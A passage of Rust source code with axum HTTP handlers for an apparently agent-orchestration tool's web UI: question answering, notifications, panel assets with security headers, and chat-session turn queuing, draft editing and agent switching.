5814 self.origin_chat = talk.map(|t| t.id);
5815 self
5816 }
5817}
5818
5819fn deputy_config(repo: &std::path::Path) -> Option<Config> {
5823 Config::discover(repo, None).ok().map(|(c, _)| c)
5824}
5825
5826fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
5828 crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
5829}
5830
5831fn question_views(
5834 qs: Vec<Question>,
5835 store: &ask::Questions,
5836 load: impl FnOnce() -> Option<Config>,
5837) -> Vec<QuestionView> {
5838 if qs.is_empty() {
5839 return Vec::new();
5840 }
5841 let cfg = load();
5842 qs.into_iter()
5843 .map(|q| {
5844 let on = deputies_enabled(cfg.as_ref(), &q);
5845 QuestionView::of(q, store, on)
5846 })
5847 .collect()
5848}
5849
5850fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
5860 if !q.status.open() {
5861 return None;
5862 }
5863 if q.cwd.is_none() && q.deputy.is_none() {
5864 return crate::deputy::kind_of(q).map(|_| "nobody");
5865 }
5866 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
5867 Some(_) if q.deputy.is_some() => "deputy",
5868 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
5869 Some(_) => "asker",
5870 None => "nobody",
5871 })
5872}
5873
5874async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
5880 blocking(move || {
5881 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5882 Ok(Json(
5883 question_views(ui.questions.list(), &ui.questions, || {
5884 deputy_config(&ui.repo)
5885 })
5886 .into_iter()
5887 .map(|v| v.with_origin(&tasks, &talks))
5888 .collect(),
5889 ))
5890 })
5891 .await
5892}
5893
5894async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5897 blocking(move || {
5898 let items = ui.notices.list();
5899 let unread = items.iter().filter(|n| n.unread()).count();
5900 Ok(Json(
5901 serde_json::json!({ "unread": unread, "items": items }),
5902 ))
5903 })
5904 .await
5905}
5906
5907fn notice_error(e: anyhow::Error) -> ApiError {
5908 ApiError::not_found(format!("{e:#}"))
5911}
5912
5913async fn notification_read(
5915 State(ui): State<Arc<Ui>>,
5916 Path(id): Path<String>,
5917) -> ApiResult<Json<Notice>> {
5918 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
5919}
5920
5921async fn notification_dismiss(
5923 State(ui): State<Arc<Ui>>,
5924 Path(id): Path<String>,
5925) -> ApiResult<Json<Notice>> {
5926 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
5927}
5928
5929async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5931 blocking(move || {
5932 let changed = ui.notices.mark_all_read()?;
5933 Ok(Json(serde_json::json!({ "marked": changed })))
5934 })
5935 .await
5936}
5937
5938#[derive(Debug, Default, Deserialize)]
5944#[serde(default, deny_unknown_fields)]
5945struct NewAnswer {
5946 choice: Option<String>,
5947 text: Option<String>,
5948}
5949
5950async fn question_answer(
5951 State(ui): State<Arc<Ui>>,
5952 Path(id): Path<String>,
5953 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
5954) -> ApiResult<Json<QuestionView>> {
5955 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5956 let answer = match (body.choice, body.text) {
5957 (Some(c), None) => Answer::Choice(c),
5958 (None, Some(t)) => Answer::Text(t),
5959 (Some(_), Some(_)) => {
5960 return Err(ApiError::bad_request(
5961 "send either `choice` or `text`, not both",
5962 ));
5963 }
5964 (None, None) => {
5965 return Err(ApiError::bad_request("send a `choice` or a `text`"));
5966 }
5967 };
5968
5969 blocking(move || {
5970 let id = resolve_question(&ui.questions, &id)?;
5971 let q = ui
5972 .questions
5973 .get(&id)
5974 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5975 if !q.status.open() {
5976 return Err(ApiError::conflict(format!(
5980 "question {} is already {}",
5981 q.short(),
5982 q.status.as_str()
5983 )));
5984 }
5985 let (q, ()) = ui
5989 .questions
5990 .update(&q.id, |r| r.answer(answer))
5991 .map_err(ApiError::bad_request_from)?;
5992 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5993 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5994 Ok(Json(
5995 QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
5996 ))
5997 })
5998 .await
5999}
6000
6001#[derive(Debug, Deserialize)]
6003#[serde(deny_unknown_fields)]
6004struct NewSay {
6005 body: String,
6006}
6007
6008async fn question_say(
6018 State(ui): State<Arc<Ui>>,
6019 Path(id): Path<String>,
6020 body: std::result::Result<Json<NewSay>, JsonRejection>,
6021) -> ApiResult<Json<QuestionView>> {
6022 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6023 blocking(move || {
6024 let id = resolve_question(&ui.questions, &id)?;
6025 let q = ui
6026 .questions
6027 .get(&id)
6028 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6029 if !q.status.open() {
6030 return Err(ApiError::conflict(format!(
6034 "question {} is already {}",
6035 q.short(),
6036 q.status.as_str()
6037 )));
6038 }
6039 let (q, ()) = ui
6042 .questions
6043 .update(&q.id, |r| r.say(body.body))
6044 .map_err(ApiError::bad_request_from)?;
6045 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
6046 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6047 Ok(Json(
6048 QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
6049 ))
6050 })
6051 .await
6052}
6053
6054async fn question_consult(
6063 State(ui): State<Arc<Ui>>,
6064 Path(id): Path<String>,
6065) -> ApiResult<(StatusCode, Json<QuestionView>)> {
6066 let (view, reclaimed) = blocking({
6067 let ui = Arc::clone(&ui);
6068 move || {
6069 let id = resolve_question(&ui.questions, &id)?;
6070 let q = ui
6071 .questions
6072 .get(&id)
6073 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6074 if !q.status.open() {
6075 return Err(ApiError::conflict(format!(
6076 "question {} is already {}",
6077 q.short(),
6078 q.status.as_str()
6079 )));
6080 }
6081 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6082 let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
6083 return Err(ApiError::conflict(format!(
6084 "question {} has no chat to ask",
6085 q.short()
6086 )));
6087 };
6088 let cfg = if q.consult.is_none() {
6092 Some(Config::discover(&talk.repo, None)?.0)
6093 } else {
6094 None
6095 };
6096 let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
6097 let claim = if fresh {
6098 match ui.begin_queued_talk_turn(&talk.id)? {
6099 Some(turn_guard) => {
6100 let talk = ui.talks.get(&talk.id)?;
6101 let cfg = match cfg {
6102 Some(cfg) => cfg,
6103 None => Config::discover(&talk.repo, None)?.0,
6104 };
6105 Some((talk, cfg, turn_guard))
6106 }
6107 None => None,
6108 }
6109 } else {
6110 None
6111 };
6112 let q = ui.questions.get(&q.id)?;
6113 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
6114 let view = QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks);
6115 Ok((view, claim))
6116 }
6117 })
6118 .await?;
6119 if let Some((talk, cfg, turn_guard)) = reclaimed {
6120 let talks = ui.talks.clone();
6121 let id = talk.id.clone();
6122 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6123 }
6124 Ok((StatusCode::ACCEPTED, Json(view)))
6125}
6126
6127fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
6129 if store.path_of(id).is_file() {
6130 return Ok(id.to_owned());
6131 }
6132 pick(
6133 store.list().into_iter().map(|q| q.id).collect(),
6134 id,
6135 "question",
6136 )
6137}
6138
6139async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
6154 blocking(move || {
6155 let id = resolve_question(&ui.questions, &id)?;
6156 let Some(html) = ui.questions.panel_html(&id) else {
6157 return Err(ApiError::not_found(format!("question {id} has no panel")));
6158 };
6159 Ok(panel_response(
6160 "text/html; charset=utf-8",
6161 false,
6162 html.into_bytes(),
6163 ))
6164 })
6165 .await
6166}
6167
6168async fn question_asset(
6196 State(ui): State<Arc<Ui>>,
6197 Path((id, name)): Path<(String, String)>,
6198) -> ApiResult<Response> {
6199 if !crate::ask::valid_asset_name(&name) {
6202 return Err(ApiError::bad_request(format!(
6203 "`{name}` is not a usable asset name"
6204 )));
6205 }
6206 blocking(move || {
6207 let id = resolve_question(&ui.questions, &id)?;
6208 let asset = ui
6209 .questions
6210 .panel_asset(&id, &name)
6211 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
6212 let Some(bytes) = asset else {
6213 return Err(ApiError::not_found(format!(
6214 "question {id} has no asset `{name}`"
6215 )));
6216 };
6217 Ok(panel_response(
6218 asset_content_type(&name),
6219 is_svg(&name),
6220 bytes,
6221 ))
6222 })
6223 .await
6224}
6225
6226fn asset_content_type(name: &str) -> &'static str {
6239 match extension(name).as_deref() {
6240 Some("png") => "image/png",
6241 Some("jpg" | "jpeg") => "image/jpeg",
6242 Some("gif") => "image/gif",
6243 Some("webp") => "image/webp",
6244 Some("svg") => "image/svg+xml",
6245 Some("css") => "text/css; charset=utf-8",
6246 Some("txt") => "text/plain; charset=utf-8",
6247 _ => "application/octet-stream",
6248 }
6249}
6250
6251fn is_svg(name: &str) -> bool {
6254 extension(name).as_deref() == Some("svg")
6255}
6256
6257fn extension(name: &str) -> Option<String> {
6259 name.rsplit_once('.')
6260 .map(|(_, ext)| ext.to_ascii_lowercase())
6261}
6262
6263fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
6280 let mut res = (
6281 [
6282 (header::CONTENT_TYPE, content_type),
6283 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
6284 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
6285 (header::REFERRER_POLICY, "no-referrer"),
6286 ],
6287 body,
6288 )
6289 .into_response();
6290 if download {
6291 res.headers_mut().insert(
6292 header::CONTENT_DISPOSITION,
6293 HeaderValue::from_static("attachment"),
6294 );
6295 }
6296 res
6297}
6298
6299#[derive(Debug, Serialize)]
6305struct TalkView {
6306 #[serde(flatten)]
6307 talk: Talk,
6308 turn_bodies_md: Vec<Vec<md::Node>>,
6309 thinking: bool,
6317 context: talk::ContextUsage,
6321 operator_name: Option<String>,
6324 persona_name: Option<String>,
6326}
6327
6328impl TalkView {
6329 fn new(talk: Talk, thinking: bool) -> Self {
6332 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
6333 Self::with_config(talk, thinking, cfg.as_ref())
6334 }
6335
6336 fn with_config(talk: Talk, thinking: bool, cfg: Option<&Config>) -> Self {
6339 let context = talk::context_usage(&talk, cfg);
6340 let turn_bodies_md = talk
6341 .turns
6342 .iter()
6343 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
6344 .collect();
6345 let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
6346 let persona_name = persona::find(specs, &talk.persona)
6347 .filter(|p| !p.is_default())
6348 .map(|p| p.name);
6349 let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
6350 Self {
6351 turn_bodies_md,
6352 thinking,
6353 context,
6354 operator_name,
6355 persona_name,
6356 talk,
6357 }
6358 }
6359}
6360
6361#[derive(Debug, Serialize)]
6366struct TalkDetailView {
6367 #[serde(flatten)]
6368 view: TalkView,
6369 tasks: Vec<TaskView>,
6370 roster: Vec<RosterEntry>,
6373 personas: Vec<PersonaEntry>,
6376}
6377
6378#[derive(Debug, Serialize)]
6380struct PersonaEntry {
6381 id: String,
6382 name: String,
6383}
6384
6385#[derive(Debug, Serialize)]
6387struct RosterEntry {
6388 id: String,
6389 kind: AgentKind,
6390 runnable: bool,
6392}
6393
6394async fn talks_list(
6399 State(ui): State<Arc<Ui>>,
6400 Query(q): Query<ListQuery>,
6401) -> ApiResult<Json<Vec<TalkView>>> {
6402 blocking(move || {
6403 let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
6404 Ok(Json(
6405 ui.talks
6406 .list()
6407 .into_iter()
6408 .filter(|talk| q.contains(&talk.id))
6409 .map(|talk| {
6410 let thinking = ui.is_thinking(&talk.id);
6411 let cfg = configs
6412 .entry(talk.repo.clone())
6413 .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
6414 TalkView::with_config(talk, thinking, cfg.as_ref())
6415 })
6416 .collect(),
6417 ))
6418 })
6419 .await
6420}
6421
6422#[derive(Debug, Default, Deserialize)]
6427#[serde(default)]
6428struct NewTalk {
6429 agent: Option<String>,
6430 repo: Option<PathBuf>,
6431 preferred_agent: Option<serde_json::Value>,
6435 persona: Option<serde_json::Value>,
6436 implementers: Option<serde_json::Value>,
6437}
6438
6439async fn talk_post(
6442 State(ui): State<Arc<Ui>>,
6443 body: std::result::Result<Json<NewTalk>, JsonRejection>,
6444) -> ApiResult<impl IntoResponse> {
6445 let body = match body {
6449 Ok(Json(body)) => body,
6450 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
6451 Err(e) => return Err(ApiError::bad_request(e.body_text())),
6452 };
6453 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
6454 let cfg = config_for(&repo).await?;
6455 let view = blocking(move || {
6456 let preferred = talk::Preferred {
6457 agent: body
6458 .preferred_agent
6459 .as_ref()
6460 .and_then(|v| v.as_str())
6461 .map(str::to_owned),
6462 persona: body
6463 .persona
6464 .as_ref()
6465 .and_then(|v| v.as_str())
6466 .map(str::to_owned),
6467 implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
6468 };
6469 let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
6470 let thinking = ui.is_thinking(&talk.id);
6471 Ok(TalkView::new(talk, thinking))
6472 })
6473 .await?;
6474 Ok((StatusCode::CREATED, Json(view)))
6475}
6476
6477async fn talk_detail(
6479 State(ui): State<Arc<Ui>>,
6480 Path(id): Path<String>,
6481) -> ApiResult<Json<TalkDetailView>> {
6482 blocking(move || {
6483 let id = resolve_talk(&ui.talks, &id)?;
6484 let talk = ui.talks.get(&id)?;
6485 let thinking = ui.is_thinking(&talk.id);
6486 let tasks = talk::tasks_of(&ui.queue, &talk.id)
6487 .into_iter()
6488 .map(TaskView::from)
6489 .collect();
6490 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
6491 let roster = cfg
6492 .as_ref()
6493 .map(|cfg| {
6494 cfg.agents
6495 .iter()
6496 .map(|a| RosterEntry {
6497 id: a.id.clone(),
6498 kind: a.kind,
6499 runnable: agent::installed(a),
6500 })
6501 .collect()
6502 })
6503 .unwrap_or_default();
6504 let specs = cfg
6505 .as_ref()
6506 .map(|cfg| cfg.talk.personas.clone())
6507 .unwrap_or_default();
6508 let personas = persona::catalog(&specs)
6509 .into_iter()
6510 .map(|p| PersonaEntry {
6511 id: p.id,
6512 name: p.name,
6513 })
6514 .collect();
6515 Ok(Json(TalkDetailView {
6516 view: TalkView::with_config(talk, thinking, cfg.as_ref()),
6517 tasks,
6518 roster,
6519 personas,
6520 }))
6521 })
6522 .await
6523}
6524
6525#[derive(Debug, Default, Deserialize)]
6531#[serde(default, deny_unknown_fields)]
6532struct NewTalkTurn {
6533 text: String,
6534 attachments: Vec<String>,
6535}
6536
6537#[derive(Debug, Deserialize)]
6538#[serde(deny_unknown_fields)]
6539struct EditTalkPending {
6540 text: String,
6541 expected_text: String,
6542 expected_attachments: Vec<String>,
6543}
6544
6545#[derive(Debug, Deserialize)]
6546#[serde(deny_unknown_fields)]
6547struct ClearTalkPending {
6548 expected_text: String,
6549 expected_attachments: Vec<String>,
6550}
6551
6552async fn talk_say(
6564 State(ui): State<Arc<Ui>>,
6565 Path(id): Path<String>,
6566 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
6567) -> ApiResult<(StatusCode, Json<TalkView>)> {
6568 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6569 if body.text.trim().is_empty() && body.attachments.is_empty() {
6570 return Err(ApiError::bad_request("say something"));
6571 }
6572
6573 let id = {
6574 let ui = Arc::clone(&ui);
6575 let asked = id.clone();
6576 blocking(move || resolve_talk(&ui.talks, &asked)).await?
6577 };
6578 {
6582 let ui = Arc::clone(&ui);
6583 let id = id.clone();
6584 blocking(move || {
6585 let talk = ui.talks.get(&id)?;
6586 if !talk.status.open() {
6587 return Err(ApiError::conflict(format!(
6588 "talk {} is {} and takes no more turns",
6589 talk.short(),
6590 talk.status.as_str()
6591 )));
6592 }
6593 Ok(())
6594 })
6595 .await?;
6596 }
6597
6598 let attachments = {
6603 let ui = Arc::clone(&ui);
6604 let id = id.clone();
6605 let ids = body.attachments.clone();
6606 blocking(move || {
6607 ids.into_iter()
6608 .map(|att_id| {
6609 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
6610 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
6611 })
6612 })
6613 .collect::<ApiResult<Vec<talk::Attachment>>>()
6614 })
6615 .await?
6616 };
6617
6618 let start = {
6623 let ui = Arc::clone(&ui);
6624 let id = id.clone();
6625 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
6626 };
6627 let turn_guard = match start {
6628 TalkTurnStart::Claimed(turn_guard) => turn_guard,
6629 TalkTurnStart::Pending => {
6630 return Err(ApiError::conflict(
6631 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
6632 ));
6633 }
6634 TalkTurnStart::Foreign => {
6635 return Err(ApiError::conflict(
6636 "a turn is already running in another process; try again when it has finished",
6637 ));
6638 }
6639 TalkTurnStart::Busy => {
6640 let (tx, rx) = tokio::sync::oneshot::channel();
6656 tokio::spawn({
6657 let ui = Arc::clone(&ui);
6658 let id = id.clone();
6659 let said = body.text.clone();
6660 async move {
6661 let written = blocking({
6662 let ui = Arc::clone(&ui);
6663 let id = id.clone();
6664 move || {
6665 let mut talk = ui.talks.get(&id)?;
6666 #[cfg(test)]
6671 if let Some(gate) = ui
6672 .busy_queue_gate
6673 .lock()
6674 .unwrap_or_else(PoisonError::into_inner)
6675 .take()
6676 {
6677 let _ = gate.reached.send(());
6678 let _ = gate.release.recv();
6679 }
6680 if let Err(error) =
6681 talk::queue(&mut talk, &ui.talks, &said, attachments)
6682 {
6683 if let Ok(fresh) = ui.talks.get(&id) {
6684 if !fresh.status.open() {
6685 return Err(ApiError::conflict(format!(
6686 "talk {} is {} and takes no more turns",
6687 fresh.short(),
6688 fresh.status.as_str()
6689 )));
6690 }
6691 }
6692 return Err(ApiError::from(error));
6693 }
6694 let claim = match ui.begin_queued_talk_turn(&id)? {
6705 Some(turn_guard) => {
6706 let (cfg, _) = Config::discover(&talk.repo, None)?;
6707 Some((talk.clone(), cfg, turn_guard))
6708 }
6709 None => None,
6710 };
6711 let thinking = ui.is_thinking(&id);
6712 Ok((TalkView::new(talk, thinking), claim))
6713 }
6714 })
6715 .await;
6716 let (view, reclaimed) = match written {
6717 Ok(pair) => pair,
6718 Err(e) => {
6719 let _ = tx.send(Err(e));
6724 return;
6725 }
6726 };
6727 let _ = tx.send(Ok(view));
6730 if let Some((talk, cfg, turn_guard)) = reclaimed {
6731 let talks = ui.talks.clone();
6732 drain_loop(talk, talks, cfg, id, turn_guard).await;
6733 }
6734 }
6735 });
6736 let view = rx
6737 .await
6738 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6739 return Ok((StatusCode::ACCEPTED, Json(view)));
6740 }
6741 };
6742
6743 let (talk, cfg) = {
6744 let ui = Arc::clone(&ui);
6745 let id = id.clone();
6746 blocking(move || {
6747 let talk = ui.talks.get(&id)?;
6748 let (cfg, _) = Config::discover(&talk.repo, None)?;
6749 Ok((talk, cfg))
6750 })
6751 .await?
6752 };
6753
6754 let talks = ui.talks.clone();
6755 let (tx, rx) = tokio::sync::oneshot::channel();
6770 tokio::spawn({
6771 let ui = Arc::clone(&ui);
6772 let talks = talks.clone();
6773 let id = id.clone();
6774 let said = body.text.clone();
6775 let mut talk = talk.clone();
6776 async move {
6777 let recorded = blocking({
6778 let talks = talks.clone();
6779 move || {
6780 if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
6781 if let Ok(fresh) = talks.get(&talk.id) {
6782 if !fresh.status.open() {
6783 return Err(ApiError::conflict(format!(
6784 "talk {} is {} and takes no more turns",
6785 fresh.short(),
6786 fresh.status.as_str()
6787 )));
6788 }
6789 }
6790 return Err(ApiError::from(error));
6791 }
6792 Ok((said.trim().to_owned(), talk))
6798 }
6799 })
6800 .await;
6801 let (text, mut talk) = match recorded {
6802 Ok(pair) => pair,
6803 Err(e) => {
6804 let _ = tx.send(Err(e));
6808 return;
6809 }
6810 };
6811 let queued = talk.clone();
6812 let thinking = ui.is_thinking(&id);
6813 let _ = tx.send(Ok((queued, thinking)));
6816
6817 if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
6818 tracing::warn!("talk {id} turn failed: {e:#}");
6822 }
6823 drain_loop(talk, talks, cfg, id, turn_guard).await;
6826 }
6827 });
6828
6829 let (queued, thinking) = rx
6830 .await
6831 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6832
6833 Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
6835}
6836
6837async fn talk_pending_resume(
6841 State(ui): State<Arc<Ui>>,
6842 Path(id): Path<String>,
6843) -> ApiResult<(StatusCode, Json<TalkView>)> {
6844 let id = {
6845 let ui = Arc::clone(&ui);
6846 let asked = id.clone();
6847 blocking(move || resolve_talk(&ui.talks, &asked)).await?
6848 };
6849 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6850 return Err(ApiError::conflict(
6851 "a talk turn is already running; the queued draft will be handled by it",
6852 ));
6853 };
6854 let (talk, cfg) = {
6855 let ui = Arc::clone(&ui);
6856 let id = id.clone();
6857 blocking(move || {
6858 let talk = ui.talks.get(&id)?;
6859 if !talk.status.open() {
6860 return Err(ApiError::conflict(format!(
6861 "talk {} is {} and takes no more turns",
6862 talk.short(),
6863 talk.status.as_str()
6864 )));
6865 }
6866 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
6867 return Err(ApiError::conflict("there is no queued draft to resume"));
6868 }
6869 let (cfg, _) = Config::discover(&talk.repo, None)?;
6870 Ok((talk, cfg))
6871 })
6872 .await?
6873 };
6874 let view = TalkView::new(talk.clone(), true);
6875 let talks = ui.talks.clone();
6876 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6877 Ok((StatusCode::ACCEPTED, Json(view)))
6878}
6879
6880async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
6896 let live_set = Arc::clone(&turn.turns);
6897 let mut turn = Some(turn);
6905 loop {
6906 if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
6907 tracing::warn!("talk {id} lost its turn lease; not draining further");
6910 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6911 if let Some(turn) = turn.take() {
6912 turn.release(&mut live);
6913 }
6914 break;
6915 }
6916 {
6917 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6920 if live.parking {
6921 if let Some(turn) = turn.take() {
6922 turn.release(&mut live);
6923 }
6924 break;
6925 }
6926 }
6927 let observed = live_set
6931 .lock()
6932 .unwrap_or_else(PoisonError::into_inner)
6933 .queued
6934 .get(&id)
6935 .copied()
6936 .unwrap_or(0);
6937 let drained = blocking({
6938 let talks = talks.clone();
6939 let live_set = Arc::clone(&live_set);
6940 move || {
6941 let live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6946 let result = if live.parking {
6947 Ok(None)
6948 } else {
6949 talk::drain(&mut talk, &talks)
6950 };
6951 drop(live);
6952 Ok((talk, result))
6953 }
6954 })
6955 .await;
6956 let (next_talk, result) = match drained {
6957 Ok(drained) => drained,
6958 Err(e) => {
6959 tracing::warn!(
6960 status = %e.status,
6961 message = %e.message,
6962 "talk {id} could not start queued-text drain"
6963 );
6964 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6965 turn.take()
6966 .expect("held for the whole loop until released here")
6967 .release(&mut live);
6968 break;
6969 }
6970 };
6971 talk = next_talk;
6972 let drained = match result {
6973 Ok(Some(drained)) => drained,
6974 Ok(None) => {
6975 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6976 if live.queued.get(&id).copied().unwrap_or(0) != observed {
6977 continue;
6978 }
6979 turn.take()
6980 .expect("held for the whole loop until released here")
6981 .release(&mut live);
6982 break;
6983 }
6984 Err(e) => {
6985 tracing::warn!("talk {id} could not drain queued text: {e:#}");
6986 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6987 turn.take()
6988 .expect("held for the whole loop until released here")
6989 .release(&mut live);
6990 break;
6991 }
6992 };
6993 let responded = match turn.as_ref() {
6994 Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
6995 None => Err(anyhow::anyhow!("the turn guard was released")),
6996 };
6997 if let Err(e) = responded {
6998 tracing::warn!("talk {id} turn failed: {e:#}");
6999 }
7000 }
7001}
7002
7003async fn talk_pending_clear(
7005 State(ui): State<Arc<Ui>>,
7006 Path(id): Path<String>,
7007 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
7008) -> ApiResult<Json<TalkView>> {
7009 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7010 blocking(move || {
7011 let id = resolve_talk(&ui.talks, &id)?;
7012 let mut talk = ui.talks.get(&id)?;
7013 if !talk.status.open() {
7014 return Err(ApiError::conflict(format!(
7015 "talk {} is {} and takes no more turns",
7016 talk.short(),
7017 talk.status.as_str()
7018 )));
7019 }
7020 if !talk::clear_pending_if_matches(
7021 &mut talk,
7022 &ui.talks,
7023 &body.expected_text,
7024 &body.expected_attachments,
7025 )? {
7026 return Err(ApiError::conflict(
7027 "queued message changed; reload it before clearing",
7028 ));
7029 }
7030 let thinking = ui.is_thinking(&talk.id);
7031 Ok(Json(TalkView::new(talk, thinking)))
7032 })
7033 .await
7034}
7035
7036async fn talk_pending_edit(
7040 State(ui): State<Arc<Ui>>,
7041 Path(id): Path<String>,
7042 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
7043) -> ApiResult<Json<TalkView>> {
7044 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7045 let (view, reclaimed) = blocking({
7046 let ui = Arc::clone(&ui);
7047 move || {
7048 let id = resolve_talk(&ui.talks, &id)?;
7049 let mut talk = ui.talks.get(&id)?;
7050 if !talk.status.open() {
7051 return Err(ApiError::conflict(format!(
7052 "talk {} is {} and takes no more turns",
7053 talk.short(),
7054 talk.status.as_str()
7055 )));
7056 }
7057 if !talk::edit_pending_text(
7058 &mut talk,
7059 &ui.talks,
7060 &body.text,
7061 &body.expected_text,
7062 &body.expected_attachments,
7063 )? {
7064 return Err(ApiError::conflict(
7065 "queued message changed; reload it before editing",
7066 ));
7067 }
7068 let claim = match ui.begin_queued_talk_turn(&id)? {
7069 Some(turn_guard) => {
7070 let (cfg, _) = Config::discover(&talk.repo, None)?;
7071 Some((talk.clone(), cfg, id.clone(), turn_guard))
7072 }
7073 None => None,
7074 };
7075 let thinking = ui.is_thinking(&id);
7076 Ok((TalkView::new(talk, thinking), claim))
7077 }
7078 })
7079 .await?;
7080 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
7081 let talks = ui.talks.clone();
7082 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7083 }
7084 Ok(Json(view))
7085}
7086
7087#[derive(Debug, Deserialize)]
7089struct TalkAgent {
7090 agent: String,
7091}
7092
7093async fn talk_agent(
7098 State(ui): State<Arc<Ui>>,
7099 Path(id): Path<String>,
7100 Json(body): Json<TalkAgent>,
7101) -> ApiResult<Json<TalkView>> {
7102 let id = {
7103 let ui = Arc::clone(&ui);
7104 blocking(move || resolve_talk(&ui.talks, &id)).await?
7105 };
7106 let repo = {
7107 let ui = Arc::clone(&ui);
7108 let id = id.clone();
7109 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7110 };
7111 let cfg = config_for(&repo).await?;
7112 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7113 return Err(ApiError::conflict(
7114 "a talk turn is running; change the agent once it has answered",
7115 ));
7116 };
7117 let switched = {
7118 let ui = Arc::clone(&ui);
7119 let id = id.clone();
7120 let cfg = cfg.clone();
7121 blocking(move || {
7122 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
7123 .map_err(ApiError::bad_request_from)?;
7124 let mut talk = ui.talks.get(&id)?;
7125 if !talk.status.open() {
7126 return Err(ApiError::conflict(format!(
7127 "talk {} is {} and takes no more turns",
7128 talk.short(),
7129 talk.status.as_str()
7130 )));
7131 }
7132 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
7133 Ok(talk)
7134 })
7135 .await
7136 };
7137 let fresh = {
7142 let ui = Arc::clone(&ui);
7143 let id = id.clone();
7144 blocking(move || Ok(ui.talks.get(&id)?)).await
7145 };
7146 let draining = match fresh {
7147 Ok(talk) => {
7148 let draining = talk.status.open()
7149 && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
7150 let talks = ui.talks.clone();
7151 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7152 draining
7153 }
7154 Err(_) => false,
7155 };
7156 let talk = switched?;
7157 Ok(Json(TalkView::new(talk, draining)))
